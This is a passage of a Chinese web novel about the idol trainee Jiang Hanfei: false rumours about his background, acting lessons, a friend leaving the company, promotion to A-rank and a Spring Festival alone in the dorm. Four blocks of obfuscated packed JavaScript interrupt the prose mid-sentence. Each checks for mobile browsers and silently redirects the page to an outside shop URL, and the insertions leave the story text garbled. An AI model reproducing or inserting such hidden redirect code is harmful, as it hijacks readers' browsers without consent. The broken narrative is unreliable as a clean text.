厌食症不是危言耸听。偶像和练习生都对身材有极高的要求，做不好身材管理前者会被群嘲，后者可能直接就会被降级或者拒绝出道。也因此在这个行业里练管和工作人员们都见过太多因为想要快速瘦下来，强制自己节食的，最后虽然瘦下来了，但是胃、身体、甚至心理都会有后遗症。 江翰飞现在是在练习生部门的高层里是挂了名的，前几次开会都有说到他，王练管这才会来提醒几句。其他一般的练习生在有质的变化前根本没人关注，哪会有这种单独提醒的待遇。 “好的，谢谢哥。”江翰飞礼貌的跟王练管道了个谢。 这几天确实是课程难度提高后他跟得很勉强，食欲又不好。而且课程变化大，很多课和时元他们都不在一起，每次打饭打得少，时元他们都以为他已经提前吃了一些，所以这些天过去谁也没发现江翰飞吃的少了很多。 既然答应了，江翰飞从晚餐开始就老老实实的吃够了量，即使感觉自己吃的差不多了也稍微再多吃上两口。于立果见了还笑着说他今天晚上的胃口很好。 回到宿舍的时候，同一间房间的人都回来了，见他回来对上视线了也跟他点点头，算是打过招呼，比最开始根本不看你也不理你的情况好了不少。 有这样的变化其实是因为江翰飞在练习生私底下已经出名了。 虽然只是一个B级的练习生，但是却接连被刘老师夸奖，今天负责B级练习生的王练管还单独在走廊上问他饮食情况，关心他的身体。 这在练习生们看来妥妥的有情况啊。 于是这事儿今天下午就已经传遍了，都在猜测江翰飞到底是什么情况。 “我在现场，B级的王练管跟他说话的时候都一直带着笑呢。练管们除了对高级练习生会和蔼一点，哪对我们笑过啊？？” “是啊，而且听说他还在C级的时候刘老师就夸过他了。” “这什么人家啊？关系这么硬？” “我就说他是个二代吧？说不准就是公司里某位高管的儿子，不然练管和培训老师们怎么会对他这么客气。” “我看不一定是儿子吧，也可能是·····。” “应该不是富二代，听C级以前跟他住一个宿舍的说，他才来的时候又黑又瘦，说是跟那些搬砖的农民工没什么区别。” “还听说他第一天去上舞蹈课就敢穿着拖鞋去。” “穿拖鞋去舞蹈课？？这也太嚣张了吧！？” ······· 江翰飞宿舍里的人也不例外，都抱着手机在网上冲浪，这是他们每天唯一的快乐时光。 对面床的下铺还是一个没忍住，小心翼翼地问江翰飞：“听说你是公司高管的儿子？” 江翰飞：？ ？？？

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13612448|143374||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 不是，我怎么不知道自己突然变成了某个高管的儿子？ 我要是高管的儿子还会在这儿吗····· “怎么会这么问？”江翰飞不解，江翰飞无语。 “我不是，我就是个普通练习生。” 听到江翰飞淡定的反驳，几人反而认定了江翰飞应该就是某位高管的儿子，内心感慨了一句：真有心机啊，真的不是的话肯定会马上说自己以前是干什么的住在哪儿之类的来反驳吧，怎么可能就只是说自己是普通练习生呢？ 于是他们几人也敷衍应承几下，“噢噢，这样啊，那是我们误解了吧。” 骗谁呢？普通练习生能让刘老师另眼相待处处关照吗？能让从来不对他们有好脸色的练管们这么关心询问吗？ 江翰飞不知道这几个人的内心戏，也不知道私下里传的消息，突然被问的这么一句，自己还是一头雾水。 他没解释自己以前住在哪儿干什么当然是因为，他是系统提溜过来的，他也不知道自己以前的干的活儿在这儿有没有痕迹啊。 虽然能看出室友的应承都在敷衍，一时也没有更好的解释办法，晚上想了半天还是随他们去了，反正也影响不到自己什么。随后他一头扎进训练里，再没有去关心过练习生私下里的纷纷扬扬。 倒是于立果，他朋友多消息又灵通，当天听到有练习生误会了江翰飞的身份的消息差点没笑出声。江翰飞最开始是什么样子，他最清楚不过了，要不是他给江翰飞牵线搭桥介绍了健身房的兼职，小飞同学现在连买日用品的钱都没有，哪是什么少爷。 但他也没去澄清。阿飞刚刚升到B级，上课几乎和他们完全错开了，也没见新交什么朋友，不如让这个传闻里的‘高管儿子’的身份震慑一些上不了台面的人。 江翰飞刚来就遇见了时元和于立果他们，之前也没了解过练习生的圈子，对这个圈子里的一些不光彩的事情毫不知情。 于立果可不是，他就是因为消息灵通，所以对这些练习生私下的另一面了如指掌。有人的地方就有江湖，有等级就有上下，所以现在江翰飞一个人在B级练习生堆里，有这么个壳子套着反而是件好事。 于是几天后，江翰飞又后知后觉到了宿舍的人又开始突然对他变得友善又热情起来，就跟之前的C级宿舍一样，吃东西都会问问他要不要，偶尔聊到什么话题也会主动问他什么意见，甚至排队洗衣服的时候，还会主动让他排在前面。 江翰飞刚开始懵逼，后来想到那天他们突然问自己的问题，好像就是从那之后才变成这样的，但是现在他们没有再聊过这个话题，他也不好主动去跟他们说自己不是XXX，万一误会了搞得人也挺尴尬。没办法，江翰飞只能每次都礼貌的回复他们自己不吃，没什么想法，他不着急不用先洗······。 后来发展到了走在外面或者食堂，都能看到有人对他露出友善又刻意的笑容。 江翰飞：······ 直到很久以后，在一档综艺节目里主持人问起练习生时期，江翰飞才得以在那个综艺里澄清了自己不是“高管二代”。 16.第 16 章 升到B级后江翰飞被新加了一门新课——演技课。 第一次看到演技课的时候他差点以为自己的课表出问题了。后来跟练管确认后才知道这门演技课是从B级开始加的，也是很重要的课程，因为以后在舞台上表演的表情管理，MV拍摄，时尚杂志拍摄都会用到演技。 演技课也是小班课，一起上课的只有6个人，这6个人里5个和江翰飞一样才升到B级的，剩下1个是公司刚签约的。正好都没有演技课的基础，所以老师讲的时候就从最开始的基础开始讲了。 和真正的演员的演技课不一样，他们的演技课着重在表情管理上。老师教他们先重新认识自己的时候让他们排成一排站到了镜子前面，然后看着镜子挨个去形容自己的相貌。 江翰飞很新奇，虽然每天都看着自己的脸，但是今天仔细看的时候觉得陌生又有点羞耻。 原来自己的额头有一个小小的美人尖儿，眉毛尾巴的部分很散乱，眼睛是一只外双一只内双，所以还有点大小眼；自己的鼻梁侧面上还有颗痣，不是很明显，所以自己之前都没注意过。 几乎每个人都会形容着形容着就忍不住笑起来，然后被演技老师罚30个俯卧撑，老师说这是他们还没有放下心里的包袱，没放开。 “想要出道以后你们的站子拍出来图全是丑图你们就笑吧。”老师站在他们后面，也不生气，“尽管笑。反正以后出道了被骂表情管理油腻，恶心的也不是我；看着别人出神图，自己只能干瞪眼的时候别怪我没骂你就行。” 轻飘飘的语气镇住了这帮刚刚还笑得开心的练习生，各个都乖乖低头不再笑了。 见他们老实了，老师又让所有人跟着他的指令做动作，比如闭眼，翘嘴，皱眉，微笑，大笑等让他们跟着做。这下大家就算看着镜子里的人很想笑也不敢笑了。 还别说，江翰飞第一次发现自己笑起来居然有个酒窝，很浅，不是很开心的笑就看不出来那种。但是看着镜子里的人龇牙咧嘴，江翰飞忍不住别过眼，他怕再跟镜子里的自己对视上就会憋不住笑出声来。 “江翰飞，你干什么呢？让你看着镜子里的自己你往哪儿看呢？”没想到刚移开眼睛，老师就眼尖的发现了，“怎么了？听不懂我的话吗？还是你对这个课程有意见？” “老师，我没有意见。”江翰飞又把视线移回来，看着镜子里的人和自己同步说道。 江翰飞老实认错，老师没抓着不放，接着说起来，“以后回去，每天至少要抽十分钟出来，对着镜子去练习微笑。” “去找到自己三种微笑和角度，礼貌的微笑，你最好看的笑，你最有个人特色的笑。” 中午一起吃饭的时候，江翰飞忍不住跟时元他们吐槽起演技课，主要是苦恼怎么找自己最有特色的笑。他不知道怎么算有特色，也不知道自己的特色是什么啊？ “哈哈，难得见到阿飞这么苦恼的样子。”见江翰飞愁的跟小元儿一样开始戳餐盘里的米饭，于立果笑得特别开心。 江翰飞一时烦躁没忍住给了于立果一记白眼。他从演技课后一直在想到现在还没头绪。 “阿飞哥别急！待会儿不如你对着我们多笑几次，我们给你看看哪个适合你？”时元凑过来，“原来B级的课程这么好玩儿呀，我也想快点升级。” “你看你阿飞哥每天练的脚不沾地了，哪是有趣，你要升级还得做好心理准备。”于立果冲着时元挑挑眉。 “那我·····”时元的话说到一半。高崎突然站了起来，端起餐盘跟他们说道，“我吃饱了，待会儿有事，我先回宿舍了。” “啊，崎哥你这就吃饱了吗？”时元奇怪，他记得崎哥的饭量不止这么点啊。 江翰飞看向了于立果，于立果轻轻冲他摇摇头，转头跟时元说到，“你别管，吃你自己的去。” 时元这才回过味儿察觉气氛不太对，刚想再问又被于立果镇压，“赶紧的，我和阿飞都在等你呢。” 时元这才乖乖的闭嘴吃饭。 晚上，于立果哄着时元让他去和江翰飞练习去了，自己把高崎带到了江翰飞的秘密基地小凉亭里，递给他一块巧克力。 “吃吧，甜的。” 高崎沉默的接过来，打开包装小小地咬了一口，确实很甜，不是他们平时吃的纯黑巧。 感受到这股甜味从喉咙滑进胃里，整个人突然放松下来，往后靠着长椅，双臂搭在椅背上，仰着头，正好能看见凉亭外的月亮。 “我和文斌哥聊过了。”高崎开口突然说起宋文斌，于立果坐到他旁边的椅子上，嗯着答应了一声，“我其实不甘心。” “我来乐狮已经大半年了，在来乐狮之前，我还面试过其他的娱乐公司，收到的拒绝很多，但也还有好几家通过的。当时我还窃喜，觉得自己过了好几家的面试，里面还有乐狮这种挺有名的娱乐公司，我以为我可以的。”说到这儿，高崎忍不住把头仰得更高一点，他不想在朋友面前掉眼泪，觉得窝囊，“进来之后我一直很努力的训练，你知道的吧？” 于立果又闷闷的嗯了一声，算是认同。 “但是我可能真的没有这个天赋吧。努力了这么久，还比不上才练了几个月的他们。”高崎想自嘲地笑笑，但喉咙像是被堵住了，怎么都发不出笑的声音来，“我很嫉妒，也很羡慕。嫉妒他们的天赋，羡慕他们的成绩。我从来没有得到过B级的评价，他们没多久就得到了；不仅是B级的评价，阿飞来公司才三个多月，已经升级成了B级的练习生。沾着他的光，我才第一次知道B级的宿舍原来是这样的。” “而我。”高崎还是没忍住拿手盖住了自己的眼睛，“而我在上个月的月末考核里拿了一个红名。” 高崎哽咽着，眼泪顺着手指缝流出来，脸色涨得通红，死死咬住腮帮，不想让呜咽声露出来。 “我真的很努力了，我真的真的很想成为一名偶像。” “但是我坚持不下来了，果儿。” 高崎深吸一口气，拉起衣服下摆抹了把脸，“在你面前这样挺丢人的，但是我憋久了。你别在意。” “没事。”于立果也靠在了长椅里，侧过头不去看高崎的样子。 “上次文斌哥走，也是因为没有希望了。他呆了一年多，等级一直上不去，年纪也比我们大，家里本来一开始就不同意，每次打电话来都是骂他，他也坚持不住了。” “我也想明白了，我确实没有这个天赋。而且就算我升到了B级、A级甚至S级又怎么样呢？不也有好几个S级的练习生被压了两三年都没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13624356|143374||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有成功出道的吗？” “公司预计在几个月之后选男团，我肯定是赶不上这一趟了，难道我还能等到下一趟吗？” 说完，高崎拿起刚刚被捏变形的巧克力，大口塞进了嘴里，“所以我不等了，也等不起了。” “就这样吧，与其苦熬几个月被公司清退，不如我自己主动走，还留点体面。”高崎说完，笑起来，“这巧克力确实很甜，好久没吃了。” 那天晚上高崎和于立果在凉亭里聊了很久，久到江翰飞带着时元练习完找了过来。 这是高崎的情绪早已平静下来，笑着跟江翰飞和时元说自己要退出了，以后不想当偶像了，要去趁年轻干点其他的。 时元一听眼泪就掉下来了，坐到了凉亭的长椅上，抱着腿埋头不说话。 江翰飞怔怔的望着高崎，又看看于立果。 今天于立果说他要找高崎聊聊，让他带着时元练习。他以为于立果是要开解高崎这段时间的低落。 他自己不会安慰人也不知道怎么开解别人，但是他知道于立果特别厉害。满心想着等于立果跟高崎聊完，回来的就是一个话少但是很照顾他们的崎哥，然后还会一起约着吃饭、练习和聊天。 不知道该怎么形容自己心里的感觉。他突然想，是不是因为他之前老在高崎和宋文斌的面前问考核升级的事情，还让高崎给他搬宿舍，今天晚餐的时候还在餐桌上跟他们讨论只有B级练习生知道的演技课的原因？ 是不是因为他没有考虑到他们的感受，才让宋文斌和高崎相继选择了和公司解约退出？ 也许是江翰飞望过来的眼神里的自责和伤心过于明显，高崎笑着拍拍他的肩膀，用于立果常有的语气说道：“你别瞎想啊，纯粹是我自己有了新的追求。” 见江翰飞还是望着他不说话，高崎心里也不是滋味儿，主动走过来轻轻抱着拍拍江翰飞，“阿飞要继续加油，争取要出道啊。” 江翰飞的脑子里闪过很多，瓮声瓮气的说了句好。分开的时候，他还是没忍住轻轻地说了声： 对不起。 是我没有察觉到朋友的情绪，在你们满心煎熬的时候不懂安慰，一心只想着练习，升级和出道。 高崎听见了，心里一酸，深深吸了口气，“说好的，你要出道。” 江翰飞盯着高崎的眼睛点点头。 我会的，我一定会出道的。 第二天，高崎就跟公司谈了解约，他和宋文斌都没有呆满练习生的合约期的，所以需要把练习生时期产生的费用赔偿给公司。高崎家里人帮他给了赔偿款，第二天中午高崎没让他们送，自己拿着行李走了。 高崎走之后，曾经的维C五人群变成了三人群。 于立果和时元在高崎走后沉默了许多，笑得也少了。两人开始在课程之外的时间一直跟着江翰飞练习，江翰飞练多久，他们练多久。于立果还主动来问了江翰飞声乐上的一些技巧，江翰飞知无不言。 终于，在11月的月末考核里，时元积累够两个B级评级，正式升为B级练习生；于立果第一次拿到了B级评价，声乐的评价也升为了B级。12月，于立果拿到了第二个B级评价，正式升为B级练习生。 而江翰飞在新的一年的伊始，又要搬宿舍了。 17.第 17 章 江翰飞，男，19岁，身高：180，体重55kg； 声乐：A级；舞蹈：B级；Rap/创作：C级；上次总评：A级；总评级：A级 测试时间: 12月31日。 升为A级之后，宿舍变得宽敞舒适。从上下床变成了正常的木架单人床，一间房两张床，附带一个小床头柜，衣服有专门的共用衣帽间。客厅里放着沙发、茶几这些家居用品，看起来和一般家里的房间也没太多区别。 搬进新宿舍那天，江翰飞发现另一位室友居然是个熟人。 “哟~挺有缘分啊。”红发的吴星雨靠在门框上，笑着跟江翰飞打了个招呼。 “居然是你？”江翰飞听声抬头，居然是当时在健身房遇见的红发少年。后来他没在健身房兼职了，就再没见过这个男生，现在遇见却莫名有一种遇见了熟人的感觉。 “上次在健身房谢谢你的建议。”江翰飞转身从自己包里拿出一袋开心果，这是于立果塞他包里的，现在被他用来借花献佛，“这个请你吃。” “别谢我，是你自己的努力升级的。”吴星雨笑笑，很干脆地接过开心果打开就吃，“不过我的确喜欢吃开心果，这个就却之不恭了。” “宿舍你随意，别动我床头柜的东西就行。我先去练习了。”说着把运动包搭在肩上，从袋子里倒了几颗开心果出来，边走边剥。 晚上十点半，江翰飞一个人在宿舍收拾着东西，除了刚刚的吴星雨，其他人一个都还没见着。但他一点都不奇怪，不出所料的话室友们应该都在练习室或者在健身房。 “真是够卷的啊。”江翰飞嘟囔一声，手上收拾的速度快了不少。打算赶紧收拾完，然后下楼叫上于立果和时元他们一起再去扒一下舞蹈。 他从C级到B级再到现在的A级，等级上升的同时，也越来越意识到练习生们之间的竞争有多激烈，这些练习生对出道的执念有多强。升了A级他很高兴，有了竞争男团出道选拔的入场券，但依然不敢放松练习。 先前他还是B级时，跟他一个宿舍的B级好几个练习生练的都比他晚。他每天练习到十一点半回宿舍洗漱睡觉，差不多十二点刚好能睡觉。每天至少保证了5个小时的睡眠时间。 但是其他的练习生不知道是不是因为新男团选拔越来越近的原因，练习的时间越拉越长，他甚至见过直接夜不归宿睡在练习室的练习生，就是这次和他一起升级到A级的朱正谊。 他单方面认识朱正谊还是因为于立果。 几人前两天在一起吃饭的时候，于立果突然胳膊肘轻轻碰了江翰飞几下。“阿飞，看那边，穿粉紫色衣服那个人。” 江翰飞顺着于立果指的方向看过去，是一个坐下也显高的男生，粗粗估计得有190往上。高而不壮，轮廓分明，下颌线用于立果的话说能削苹果，配上高眉骨，深眼窝，白皮肤，应该带有外国血统，坐在一堆人里也能轻易的捕捉到他。 当时江翰飞觉得这就是他很帅，是一种不管男女都会认同的帅气。 “好帅！”江翰飞转过头低声跟于立果和时元说道，另外两个人配合的也低头凑近悄悄说话。 “嗯嗯！好帅，他好高，而且有肌肉！”时元小鸡啄米一样直点头，对那个男生的身高羡慕极了。他身高发育的太慢了，几个月过去了还是167cm，愁的他顾不上形体考核，使劲儿的吃饭想快点长高。 于立果见两人都抓不到重点，心里叹口气，还得他来，“他叫朱正谊。叫你们看不光是因为外貌。我在舞蹈课上分到了和他一个班，觉得他的情况和阿飞很像。” “啊？我吗？”江翰飞听见于立果说朱正谊两个人像，不由得又转头过去悄悄仔细打量了一下，也没觉得像啊？ “我的身高没他高，眼睛没那么深邃，皮肤也没那么白啊？” 于立果无语地看他一眼，“我是说感觉！你们的外貌给人的感觉类似，在不笑的时候看起来挺酷。而且听说他也是擅长声乐版块的，之前跟他一起考声乐的哥们儿聊天，说他唱的时候老师们的表情都很好。” “这样说你懂了吗？” 江翰飞也不是傻子，在这儿练习好几个月了，他立即明白了于立果想表达什么。 这是在说他俩的特征或者定位很像。 现在的娱乐公司在推出新人男团女团的时候都会给每个人一个定位，这个定位是根据每个人的特长来定的，大多数的配置都至少包含一个主唱+主舞+主Rap+门面。 在公司不知道选多少人出道的时候，每一个相同定位的人都是潜在的竞争对手。而这个对手和他的特征相似度太高的话，就意味着，他不具备不可替代性。 “而且这哥们儿上个月月末考核B级前三，你俩估计会一起升A级。”于立果又补了一句。 果然，这次他俩这次就一起升A级了。 想到这儿江翰飞没法儿再收拾衣服了，关上刚打开的装衣服的袋子，一股脑的塞到床头柜旁边。 等会儿练习完回来再收拾也是一样的。 随后关门，决定先去去找时元和于立果他们，直接先去练习。 三人到了练习室，练习起现在人气男团的歌曲，中间的部分副歌是三个人的唱跳，正好适合他们三个练习唱跳和走位。 从B级开始，他们的舞蹈课和考核都不再是单纯的跳舞了，而是唱跳。这也是当时江翰飞升级之后又瘦了一大圈的原因。 刚开始练习唱跳的时候真是哪儿哪儿都不习惯。 因为现在流行的大热组合曲目几乎都是快节奏的歌，光是舞蹈就不简单，更何况还要加上唱歌。大开大合舞蹈的同时，还需要保持声音的稳定性，而舞蹈动作的发力必然会影响到发声。这就难倒了一大片人。 江翰飞也是，像是又回到了刚开始学习舞蹈和声乐的时候，跳舞束手束脚，唱歌也东飘西晃。 用老师的评价来说：全是垃圾，没一个能看的。 囧。 幸好但凡是升级上来的练习生抗打击能力都不错，反正骂着骂着就习惯了，不好就再练呗。 后面跟着老师教的，唱跳的时候把唱歌的气口和舞蹈动作的鼓点结合 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13644178|143374||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来，外加每天早晚两次练习气息的稳定性，加强对声带的控制，唱跳这才慢慢有了形状。 唱跳练多了，江翰飞有自己一个小妙招：每次气口之后把气存在胸腔。这样即使舞蹈做大幅度的动作，发声也能相对稳定。但这个不适用于需要长气息的唱段，他感觉自己会憋死。 靠着琢磨出的这个小技巧，江翰飞唱跳完整度的提升飞速。把带他们唱跳的老师都吓了一跳，要知道唱跳做好的难度可不是舞蹈好+唱得好的简单1+1，而是成几倍增长的难度。于是在一次月度考核后的会议上，她还特意找着机会夸了江翰飞这点。 三人练完躺在地板上直喘气。 “那些能开巡演的爱豆组合们真厉害啊。”时元感觉自己快喘不上气了。 “确实厉害，他们能连着唱跳十几首，体力到底有多好啊。”于立果扶着自己的胸膛，一边接话。 江翰飞放空地盯着天花板上的灯，亮的晃眼睛。 他因为学习唱跳看了不少前辈的演唱会和巡演纪录片。一场演出又唱又跳至少一个半小时到两个小时，即使中间有穿插着抒情歌或者小游戏之类的间隙，连着唱跳十几分钟也是常态。 而他们现在连着两首唱跳就不行了，体能还是不行啊，还得练。 等他们练完回去，江翰飞宿舍里的其他人已经回来了。 见江翰飞浑身都是汗的样子，吴星雨也见怪不怪，指着浴室说，“正好空着，快去洗洗吧。” 江翰飞进了浴室，发现走的时候还摆放的乱七八糟的洗手台已经被收拾过了，放东西的地方空出来一块儿，大概是留给他的。 这还是第一次享受到这样的待遇，江翰飞探出个头，对坐在沙发上听音乐的吴星雨说了句，“谢了。” 吴星雨也扬起一个笑，“这是开心果的报酬。” 江翰飞洗完擦着头发出来，沙发上吴星雨旁边还坐着一个黄头发的男生，见江翰飞出来也好似很熟络的跟他招招手，“你好啊，基础哥。” 啥？ 擦着头发的手顿了顿，歪过头来看着黄头发的男生，表情意味很明显：你在跟我说话吗？ 吴星雨在江翰飞看不见的地方白了黄头发的男生一眼，又用手肘捅捅他。黄头发的男生收到信号，笑嘻嘻的开口，“你好啊，新室友，我是齐彦。” “呃，你好，我叫江翰飞。”江翰飞跟着做了介绍，突然想起自己好像还不知道这个红头发男生的名字，眼神不由得移过去。 吴星雨这才想起，他自己好像忘了做自我介绍。 在齐彦看笑话一样的眼神里，吴星雨带着点懊恼也跟江翰飞做了自我介绍。 三人简单的聊了会儿，江翰飞想起还有一袋子衣服没收拾，跟两人打了个招呼先过来收拾。提着袋子到衣帽间，发现衣帽间和以前的衣柜不一样，没有明显的分界。但和洗手台一样，空了一大块地方出来，一看就是留给新室友的。 江翰飞眨眨眼，利落地把才买的几件厚羽绒服和毛衣挂上，一摞方便换的T恤和裤子叠好，哼着歌关上了衣帽间的门。 18.第 18 章 老实说，江翰飞挺喜欢现在的练习生活。 吴星雨和齐彦都是擅长舞蹈的练习生，他虽然靠着堆练习时长勉勉强强把舞蹈堆到了B级。但和吴星雨、齐彦这些舞蹈大神还是有壁的。 听隔壁房间的齐彦说，他和吴星雨以前都是玩儿地下街舞的，来公司最初是想面试舞蹈老师的职位，结果公司看他俩外形不错，劝着让他们做练习生。他俩一寻思，做练习生虽然钱少点，但是练舞的时间稳定，还能学点其他的舞蹈类型，于是两人顺势答应，然后就练习到了现在。 两人都开朗又友善，也是因为这样才能和江翰飞这个不主动的熟络起来，后来江翰飞又带着他俩跟于立果和时元认识了，于是晚上一起练习的又变成了五个人。 吴星雨和齐彦擅长舞蹈，江翰飞他们三个擅长声乐。练舞蹈的时候就吴星雨他们带着三人组，练声乐的时候就江翰飞他们带着二人组，至于Rap，五个人里竟然是于立果和齐彦还相对好些，练习就矮子里拔高个让他们带着。 这样就相当于练习时能有小老师一对一帮你纠错。而且就算你有什么问题这小老师也不会张口先骂，反而会耐心给你讲。搭着一起练习了大半个月，几个人都觉得比自己单独练习能进步的更快。 可惜这样的联系没能持续太久。没过多久，吴星雨和齐彦两人就在1月的月末考核里拿到了第二个S级的评价，都升为S级的练习生又搬走了，幸好S级和A级的练习生练习时间自由度高，江翰飞和他俩晚上还能约着一起练习。 补了吴星雨床位的练习生冷冷淡淡，看起来没想和他认识的想法。毕竟马上就是春节了，春节之后回来的第二个月就是公司说的选拔时间，练习生们都都盼望着过年和年后的选拔，跟打了鸡血一样练习，八卦的人都少了。 今年的春节在二月七号，一月的月末考核结束之后没几天就放假了。假前练习生部门的部长和几个高级练管给大家开了大会，主要提醒大家年后的男团选拔，意思是让大家别光顾着休息，该练习的不能松懈，要是年后回来看着一堆痴肥的练习生，公司也少不了得头疼。还给练习生发了公司的年礼，一盒子坚果，一罐无糖奶粉。S级和A级练习生多一个几百块的春节红包。 练习生春节的假期和公共假期时间一样都是七天，放假当天练习生宿舍楼里全都是行李箱滚轮的声音和来来往往的脚步声。 到了晚上平时灯火通明的练习生宿舍楼就剩零零散散几盏灯还亮着，过道里也没了以往时不时响起的脚步声，整栋楼变得冷清起来。 江翰飞这才想起询问系统，自己在这个世界是什么情况。 系统说他复制了原世界的信息融合进这个世界，还贴心的帮他给学校递交了休学申请。他立即想到租屋里的手机，银行卡和一堆泡面。 纠结着要不要去看看，打开手机一查询他马上放弃了。 自己现在在华国的南方，学校在北方；坐飞机回去，经济舱都得四千往上。 他买不起啊！ 之前兼职和公司发的钱买日用品和冬天衣物的时候都用的七七八八了，春节年礼公司给他发的800红包还在兜里揣着，加一起先前剩余的一共两千多，机票是买不起的。至于高铁票早被抢没了。 最后江翰飞打算老老实实留在宿舍过年，正好还能再多练习几天。毕竟要是过不了这次选拔，大概率他也没有其他机会了，到时候再回去伤春悲秋也不迟。 作为A级练习生，他勉强有参与竞争的资格，要升S级就不是他几个月的时间能堆得上去的。但就江翰飞知道的，公司现有至少10个S级练习生，近40个A级练习生。哪怕是只在A级和S级里选，也得在50多个顶尖练习生里被公司看中才能出道。 到了A级和S级，公司和自己对定位都会逐渐明确起来。比如他自己，明显就是声乐板块的定位，要想出道就得去竞争主唱的位置，要是领唱，自己还得有一项其他板块的加分项。 Rap是首先排除的，实在没这个天赋。舞蹈经过吴齐两人也知道自己目前属于刚打完根基的阶段，短期内想再进一步非常难，需要长时间和大量的练习堆积才能进步。 想来想去，还是只能在声乐版块上再多下功夫。 接下来的几天，江翰飞保持着跟平时一样的练习节奏，早餐前练声，运动，然后按照平时的课程节奏训练，直到晚上十一点半才回宿舍洗漱休息。 这天晚上江翰飞也练习的全身是汗瘫倒在地板上，看看时间爬起来，拿上羽绒服准备回宿舍。 南方的冬天湿冷得很，不下雪也总有一种冷到骨头缝的感觉。回宿舍前必须得在出练习室的时候裹好羽绒服，不然冷风一吹汉湿的衣服，整个人都要被冻僵。 正经过走廊的时候，发现居然还有一间练习室的是亮着灯的。 今天是除夕，明天就是春节。这个时间点，谁还会在练习室？ 江翰飞忍不住走过去，往里一看，居然还是个认识的人——朱正谊。那个之前被于立果说他俩很像，然后又一起升了A级的人。 朱正谊应该也刚练习完舞蹈，穿着的白T已经湿了大半，紧贴在身上隐隐露出优越的身材条件。似乎也是累的不行了，坐在地板上一直揉着膝盖。 江翰飞站了一会儿，没去打扰，又悄悄地走了。 走出公司练习大楼的大门时，江翰飞深深吐了口气，气息在冷空气里显出形来。没忍住，江翰飞又看了看天上挂着的月亮，一点儿也不圆。 去年中秋在九月，那时他才来这儿第二个月，还在磕磕绊绊的适应着这里的生活，因为系统的威胁，他一点儿别的也不敢想，满脑子的练习和出道，每天睁眼就是练习-被骂-再练习。 哪有心思看什么月亮呢？ 中秋那天是几号，干了什么他都不记得了，而且练习生也吃不了月饼，糖分太高了。 “咻——” 远方传来破空的声音，紧接着江翰飞就看到了漫天的烟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13656526|143374||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 花。五颜六色的烟花在空中炸成各种样式的花，把月亮挡了个严严实实。连黑漆漆的夜幕都仿佛给炸成了晚霞。 口袋里的手机突然“嗡嗡”震个不停。 拿出手机一看，原来已经过了零点了。好几个朋友给他发了微信消息，祝他春节快乐，新的一年里能成功出道。 江翰飞低头看着手机消息笑起来，边往宿舍走着边给好友们回着消息。 新的一年来了。 过年的第二天就有练习生陆陆续续开始回来了。 绝大部分是A级或者S级的练习生，赶回来的原因自然是因为这次的男团选拔，都想回来加紧练习，在这次的选拔里争一争。 时元和于立果两人也在春节后的第三天早上回来了，带着大包小包的东西。他俩都是南方人，家里离这儿就三五小时的距离，家里人也都知道他们在做练习生。带来的东西都是家里给特意做的，什么卤鸡蛋鹌鹑蛋，辣味鸡胸肉脯，燕麦酥，芋泥脆还有一些晒好的金银花，野菊花和柠檬什么的，都是他们能吃的低脂高蛋白的东西。 两人使劲儿往江翰飞怀里塞，把他怀里都塞得抱不下了才停手。让他又抱着一大堆东西跑了两趟宿舍放东西。 “阿飞啊，你这几天是干什么去了？”收拾完东西，几人准备去练习室练舞，走在路上，于立果捏了捏江翰飞的脸问道。 “啊？”江翰飞拍开于立果的手，面上装作一片茫然，心里暗自跳了下，该不是自己春节呆宿舍里过的被发现了吧？当时时元他们问起自己什么时候回去，他都说车次比较晚蒙混过去了。 “怎么几天不见，你又变帅了呢？”于立果啧啧几声，想当初也没料到时元嘴里那个又瘦又黑的阿飞哥哥能长这么帅啊？和现在看起来简直判若两人。 “有吗？”江翰飞放下心，揉揉被捏过的脸。自从他跟着教护肤管理的老师认真学习做护肤之后，好像确实变白了不少，也变敏感了，捏久一点就会泛红。以往打暑假工寒假工，一直在外面跑，风吹日晒雨淋的，没现在这么敏感。 “嗯嗯！有的有的！”时元在旁边仰着头，大眼睛直溜溜的看着江翰飞，“阿飞哥哥也变白了好多。” 